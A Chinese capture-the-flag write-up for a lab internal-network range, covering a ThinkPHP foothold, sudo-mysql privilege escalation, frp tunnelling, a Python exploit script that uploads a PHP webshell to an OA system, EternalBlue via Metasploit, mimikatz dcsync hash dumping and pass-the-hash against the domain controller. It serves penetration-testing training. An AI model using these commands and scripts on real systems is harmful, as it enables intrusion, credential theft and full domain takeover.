【内网渗透】最保姆级的春秋云镜initial打靶笔记

目录

flag1

flag2

flag3 

---

flag1

外网thinkphp服务 

随便找个工具梭

连蚁剑

读/root目录要提权

suid没有可利用的提权命令，打sudo提权

sudo -l

mysql的sudo提权 

Linux提权之Sudo 70种提权方法 - 简单安全

 查看文件名带flag的文件

sudo mysql -e '\! find / -type f -name '*flag*' 2>/dev/null'

读文件

sudo mysql -e '\! cat /root/flag/flag01.txt'

拿到第一个flag，提示下一个flag在内网服务器 

flag{60b53231-

flag2

 msf反弹shell

上传fscan扫内网

 https://github.com/shadow1ng/fscan/releases

172.22.1.2   DC域控
172.22.1.21  MS17-010永恒之蓝
172.22.1.18  信呼OA系统

先打信呼0A

frp内网穿透

vps上先起一个frps

./frps -c frps.ini

再在靶机上起一个frpc

先上传或者wget下载frpc和frpc.ini

./frpc -c frpc.ini

本机电脑配一下Proxifier

然后就能直接浏览器里访问内网服务

现成exp梭了 

import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'dGVzdA::',
    'adminpass': 'YWJjMTIz',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)

先给蚁剑配置socks5代理

蚁剑连http://172.22.1.18/upload/2024-08/20_17073585.php拿到flag2

flag02: 2ce3-4813-87d4-

最后提示我们去打DC

flag3 

在打DC前先打172.22.1.21 MS17-010永恒之蓝

这个一般直接拿kali的msf打就行

先给msf所在机配一下socks5代理

vim /etc/proxychains4.conf

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

成功正向连接

永恒之蓝打了之后本身就是SYSTEM权限，可以mimikatz搜集域内用户hash

load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

 

再用crackmapexec打PTH拿下域控

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

 拿到flag3

flag03: e8f88d0d43d6}